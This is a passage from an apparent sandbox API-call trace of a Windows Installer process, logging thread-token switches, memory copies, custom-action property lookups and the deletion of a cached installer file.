(in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce900, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:48:48") returned 9 [0210.900] GetLocalTime (in: lpSystemTime=0x10ce930 | out: lpSystemTime=0x10ce930*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x30, wSecond=0x21, wMilliseconds=0x2c2)) [0210.900] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce930, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:48:48") returned 9 [0210.900] memcpy (in: _Dst=0x10ceb90, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ceb90) returned 0x10ceb90 [0210.900] memcpy (in: _Dst=0x29f80ca, _Src=0x10ceb90, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0210.900] memcpy (in: _Dst=0x29f80da, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0210.900] memcpy (in: _Dst=0x29f80de, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0210.900] SetLastError (dwErrCode=0x0) [0210.900] memcpy (in: _Dst=0x10ceb92, _Src=0x10ce9e8, _Size=0x2 | out: _Dst=0x10ceb92) returned 0x10ceb92 [0210.900] memcpy (in: _Dst=0x29f80de, _Src=0x10ceb90, _Size=0x6 | out: _Dst=0x29f80de) returned 0x29f80de [0210.900] memcpy (in: _Dst=0x29f80e4, _Src=0x34b0f0, _Size=0x1e | out: _Dst=0x29f80e4) returned 0x29f80e4 [0210.900] memcpy (in: _Dst=0x29f8102, _Src=0x34b110, _Size=0x2 | out: _Dst=0x29f8102) returned 0x29f8102 [0210.901] SetLastError (dwErrCode=0x0) [0210.901] memcpy (in: _Dst=0x10ceb92, _Src=0x10ce9e8, _Size=0x2 | out: _Dst=0x10ceb92) returned 0x10ceb92 [0210.901] memcpy (in: _Dst=0x29f8102, _Src=0x10ceb90, _Size=0x6 | out: _Dst=0x29f8102) returned 0x29f8102 [0210.901] memcpy (in: _Dst=0x29f8108, _Src=0x34b114, _Size=0x2 | out: _Dst=0x29f8108) returned 0x29f8108 [0210.901] GetCurrentThreadId () returned 0xf50 [0210.901] GetCurrentThreadId () returned 0xf50 [0210.901] SetEvent (hEvent=0x170) returned 1 [0210.902] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.902] GetCurrentThreadId () returned 0xf50 [0210.902] GetCurrentThreadId () returned 0xf50 [0210.902] SetEvent (hEvent=0x170) returned 1 [0210.903] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.905] lstrlenW (lpString="CLIENTPROCESSID") returned 15 [0210.906] SetLastError (dwErrCode=0x0) [0210.906] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0210.906] AllocateAndInitializeSid (in: pIdentifierAuthority=0x10cf0d8, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x10cf0c8 | out: pSid=0x10cf0c8*=0x3771d0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0210.906] CheckTokenMembership (in: TokenHandle=0x0, SidToCheck=0x3771d0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x10cf0c0 | out: IsMember=0x10cf0c0) returned 1 [0210.906] GetCurrentThreadId () returned 0xf50 [0210.906] GetCurrentThreadId () returned 0xf50 [0210.906] SetEvent (hEvent=0x170) returned 1 [0210.907] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.907] GlobalUnlock (hMem=0xf40108) returned 0 [0210.907] GlobalUnlock (hMem=0xf400f8) returned 0 [0210.907] GlobalUnlock (hMem=0xf40118) returned 0 [0210.908] GlobalUnlock (hMem=0xf40188) returned 0 [0210.908] GlobalUnlock (hMem=0xf40178) returned 0 [0210.908] GlobalUnlock (hMem=0xf40158) returned 0 [0210.908] GlobalUnlock (hMem=0xf40168) returned 0 [0210.908] GlobalUnlock (hMem=0xf40198) returned 0 [0210.908] GlobalUnlock (hMem=0xf40078) returned 0 [0210.908] GlobalUnlock (hMem=0xf40068) returned 0 [0210.908] GlobalUnlock (hMem=0xf40088) returned 0 [0210.908] GlobalUnlock (hMem=0xf401a8) returned 0 [0210.908] GlobalUnlock (hMem=0xf40128) returned 0 [0210.909] GlobalUnlock (hMem=0xf401d8) returned 0 [0210.909] GlobalUnlock (hMem=0xf40148) returned 0 [0210.909] GlobalUnlock (hMem=0xf40138) returned 0 [0210.909] GlobalUnlock (hMem=0xf40038) returned 0 [0210.909] GlobalUnlock (hMem=0xf40058) returned 0 [0210.909] GlobalUnlock (hMem=0xf401c8) returned 0 [0210.909] GlobalUnlock (hMem=0xf401b8) returned 0 [0210.909] GlobalUnlock (hMem=0xf40098) returned 0 [0210.910] GetProcAddress (hModule=0x7fefd4e0000, lpProcName="CoFreeUnusedLibraries") returned 0x7fefd4e8284 [0210.910] CoFreeUnusedLibraries () [0210.910] DllCanUnloadNow () returned 0x1 [0210.910] NdrDllCanUnloadNow (pPSFactoryBuffer=0x7fef7b24050) returned 0x1 [0210.910] FreeLibrary (hLibModule=0x7fefbe30000) returned 1 [0210.911] FreeLibrary (hLibModule=0x7fefc010000) returned 1 [0210.911] FreeLibrary (hLibModule=0x7fefd6f0000) returned 1 [0210.916] GlobalUnlock (hMem=0xf400b8) returned 0 [0210.916] GlobalUnlock (hMem=0xf400a8) returned 0 [0210.916] GlobalUnlock (hMem=0xf40028) returned 0 [0210.916] GlobalUnlock (hMem=0xf40018) returned 0 [0210.916] GlobalUnlock (hMem=0xf40008) returned 0 [0210.916] IUnknown:Release (This=0x2fcb20) returned 0x0 [0210.954] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.954] DeleteFileW (lpFileName="C:\\Windows\\Installer\\1876eff.msi" (normalized: "c:\\windows\\installer\\1876eff.msi")) returned 1 [0210.957] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0210.957] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.957] CoUninitialize () [0210.966] RtlExitUserThread (Status=0x643) Thread: id = 15 os_tid = 0xf54 [0148.909] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.910] GetCurrentThread () returned 0xfffffffffffffffe [0148.910] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0148.910] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0148.910] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.910] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.910] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.911] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.911] GetCurrentThread () returned 0xfffffffffffffffe [0148.911] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0148.911] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0148.911] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.912] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.912] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.913] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.913] GetCurrentThread () returned 0xfffffffffffffffe [0148.913] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0148.913] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0148.913] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.913] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.914] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.914] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.914] GetCurrentThread () returned 0xfffffffffffffffe [0148.914] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0148.914] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0148.914] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.915] IUnknown:Release (This=0x32e790) returned 0x0 [0148.916] GlobalUnlock (hMem=0xf40228) returned 0 [0148.918] GlobalUnlock (hMem=0xf40208) returned 0 [0148.919] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.919] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.949] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.949] GetCurrentThread () returned 0xfffffffffffffffe [0148.949] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0148.949] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0148.949] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.949] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.949] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.950] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.950] GetCurrentThread () returned 0xfffffffffffffffe [0148.950] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0148.950] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0148.950] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.950] lstrlenW (lpString="-- CUSTOM ACTION -- GetParameters: Start.") returned 41 [0148.950] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.950] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.951] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.951] GetCurrentThread () returned 0xfffffffffffffffe [0148.951] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0148.951] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0148.951] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0148.951] memcpy (in: _Dst=0x29f80b0, _Src=0x34acc0, _Size=0x52 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0148.951] memcpy (in: _Dst=0x34b540, _Src=0x29f80b0, _Size=0x52 | out: _Dst=0x34b540) returned 0x34b540 [0148.952] SetEvent (hEvent=0x170) returned 1 [0148.952] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0148.955] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0148.956] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.038] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.038] GetCurrentThread () returned 0xfffffffffffffffe [0149.038] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0149.038] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0149.039] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.039] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.039] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.040] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.040] GetCurrentThread () returned 0xfffffffffffffffe [0149.040] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe180 | out: TokenHandle=0x19fe180*=0x0) returned 0 [0149.040] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe158 | out: Pid=0x19fe158) returned 0x0 [0149.040] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.040] lstrlenW (lpString="[SourceDir]") returned 11 [0149.042] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.042] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.042] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.042] GetCurrentThread () returned 0xfffffffffffffffe [0149.042] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe180 | out: TokenHandle=0x19fe180*=0x0) returned 0 [0149.043] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe158 | out: Pid=0x19fe158) returned 0x0 [0149.043] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.043] lstrlenW (lpString="[SourceDir]") returned 11 [0149.044] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.044] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.045] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.045] GetCurrentThread () returned 0xfffffffffffffffe [0149.045] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0149.045] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.045] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.046] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.046] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.046] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.046] GetCurrentThread () returned 0xfffffffffffffffe [0149.046] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0149.047] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.047] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.047] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Value=\"\"") returned 41 [0149.047] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.047] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.047] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.048] GetCurrentThread () returned 0xfffffffffffffffe [0149.048] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0149.048] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0149.048] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.048] memcpy (in: _Dst=0x29f80b0, _Src=0x34acc0, _Size=0x52 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0149.048] memcpy (in: _Dst=0x34b5c0, _Src=0x29f80b0, _Size=0x52 | out: _Dst=0x34b5c0) returned 0x34b5c0 [0149.048] SetEvent (hEvent=0x170) returned 1 [0149.049] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.050] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.050] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.051] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.051] GetCurrentThread () returned 0xfffffffffffffffe [0149.051] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0149.052] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0149.052] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.052] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.052] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.072] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.072] GetCurrentThread () returned 0xfffffffffffffffe [0149.072] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0149.072] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.072] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.072] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.073] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.073] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.073] GetCurrentThread () returned 0xfffffffffffffffe [0149.073] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0149.073] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.073] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.074] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Name=BZ.CURRENTDIR") returned 51 [0149.074] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.074] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.074] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.074] GetCurrentThread () returned 0xfffffffffffffffe [0149.074] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0149.074] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0149.075] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.075] memcpy (in: _Dst=0x29f80b0, _Src=0x32e7a0, _Size=0x66 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0149.075] memcpy (in: _Dst=0x32f250, _Src=0x29f80b0, _Size=0x66 | out: _Dst=0x32f250) returned 0x32f250 [0149.075] SetEvent (hEvent=0x170) returned 1 [0149.075] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.078] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.078] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.079] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.079] GetCurrentThread () returned 0xfffffffffffffffe [0149.079] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0149.079] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0149.079] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.080] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.080] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.081] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.081] GetCurrentThread () returned 0xfffffffffffffffe [0149.081] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe180 | out: TokenHandle=0x19fe180*=0x0) returned 0 [0149.081] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe158 | out: Pid=0x19fe158) returned 0x0 [0149.081] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.081] lstrlenW (lpString="BZ.CURRENTDIR") returned 13 [0149.083] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.083] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.084] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.084] GetCurrentThread () returned 0xfffffffffffffffe [0149.084] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe180 | out: TokenHandle=0x19fe180*=0x0) returned 0 [0149.084] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe158 | out: Pid=0x19fe158) returned 0x0 [0149.084] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.084] lstrlenW (lpString="BZ.CURRENTDIR") returned 13 [0149.085] memcpy (in: _Dst=0x2af2f10, _Src=0x3c1080, _Size=0x16 | out: _Dst=0x2af2f10) returned 0x2af2f10 [0149.085] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.085] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.087] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.087] GetCurrentThread () returned 0xfffffffffffffffe [0149.087] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0149.087] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.087] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.088] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.088] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.088] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.089] GetCurrentThread () returned 0xfffffffffffffffe [0149.089] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0149.089] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.089] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.089] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Value=*SOURCEDIR*") returned 50 [0149.089] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.089] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.089] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.090] GetCurrentThread () returned 0xfffffffffffffffe [0149.090] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0149.090] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0149.090] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.090] memcpy (in: _Dst=0x29f80b0, _Src=0x32e7a0, _Size=0x64 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0149.090] memcpy (in: _Dst=0x32f010, _Src=0x29f80b0, _Size=0x64 | out: _Dst=0x32f010) returned 0x32f010 [0149.090] SetEvent (hEvent=0x170) returned 1 [0149.091] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.092] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.092] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.093] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.094] GetCurrentThread () returned 0xfffffffffffffffe [0149.094] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0149.094] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0149.094] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.105] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.105] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.131] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.131] GetCurrentThread () returned 0xfffffffffffffffe [0149.131] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0149.131] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.131] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.131] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.131] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.132] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.132] GetCurrentThread () returned 0xfffffffffffffffe [0149.132] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0149.132] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.132] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.132] lstrlenW (lpString="-- CUSTOM ACTION -- GetProperty: Name=UILevel") returned 45 [0149.132] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.132] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.133] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.133] GetCurrentThread () returned 0xfffffffffffffffe [0149.133] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0149.133] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0149.133] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.133] memcpy (in: _Dst=0x29f80b0, _Src=0x34b5c0, _Size=0x5a | out: _Dst=0x29f80b0) returned 0x29f80b0 [0149.133] memcpy (in: _Dst=0x34acc0, _Src=0x29f80b0, _Size=0x5a | out: _Dst=0x34acc0) returned 0x34acc0 [0149.134] SetEvent (hEvent=0x170) returned 1 [0149.134] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.136] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.136] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.163] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.163] GetCurrentThread () returned 0xfffffffffffffffe [0149.163] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0149.163] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0149.163] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.163] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.164] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.164] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.165] GetCurrentThread () returned 0xfffffffffffffffe [0149.165] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe180 | out: TokenHandle=0x19fe180*=0x0) returned 0 [0149.165] 